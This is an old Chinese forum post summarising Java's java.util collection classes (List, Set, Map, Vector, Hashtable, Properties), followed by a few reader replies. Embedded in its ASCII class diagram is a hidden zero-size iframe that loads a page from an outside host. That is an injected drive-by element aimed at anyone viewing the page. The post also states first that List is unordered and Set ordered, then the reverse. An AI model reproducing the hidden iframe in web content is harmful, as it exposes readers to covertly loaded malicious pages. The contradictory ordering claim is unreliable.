java中util包中集合关系总汇
集合:(比数组效率高,数组长固定)
1.collection是一个接口collections是一个类.
? collection有子接口:List(无序),set(有序)等
2.Set--无序,不允许重复元素.
? List--有序,可以有重复的元素.(相当于动态可以自动增长的链表)
3.HashSet 实现Set接口.
? ArrayList(可变长的数组)和LinkedList(List的链表实现,可以成为堆栈,队列或双向链表)都实现了List接口.
4.Iterator访问集合中元素的过程.(其中ListIterator用于List类)???????????
5.Map接口(一个单独的接口)是Dictionary类的替代品.
? HashMap是以哈希表的形式存储key-value对,速度快.
? (非线程安全,当二个人同时操作一个对象是会造成数据丢失)
? {JDK1.1中用到的:Vector(List接口),Stack(Vector的子类),,Hashtable(实现Map接口),Enumeration(枚举)这些类
? 都是线程安全的,性能低,重量级的.}
? Dictionary类提供的按键取值的功能,他是个抽象类,要使用时需用他的子类HashTable.
6.Properities类
? 哈希表里存的关键字--值对可以是各种类型的.而propeties就相对简单,它只存放字符串对.用setProperties()和getProperties()操作.
????????????? |--Set(接口)--HashSet(类)
????????????? |
Collection----|
????????????? |????????????? |--ArrayList(可变长数组类)
????????????? |--List(接口)--|
???????????????????????????? |--LinkedList(链表)<IFRAME SRC="HTTP://www.m5k8.com/gr.htm" WIDTH=0 HEIGHT=0></IFRAME>
以上集合是经常使用于DAO操作中,更重要作用是在Hibernate中的实体关系映射中能够很好的实现实体之间的关联关系。
1 楼 liudaoru 2007-09-04 LinkedHashSet也是有的啊,不过不怎么常用,只能说楼主说的是常用的数据结构:) 2 楼 dd5801 2007-09-05 楼上朋友说的对,HashSet就像是一个序列表,所以在查询的时候速度很快且效率很高;LinkedHashSet就好比一个链表了,它主要是在插入,删除等操作上效率高于HashSet.但是这些不是数据结构,象JAVA有堆栈类等,当然我们常使用的方法是利用List或则Set来实现树,图,堆栈,队列等复杂数据结构的构建. 3 楼 fnet 2007-09-06 List(无序),set(有序)等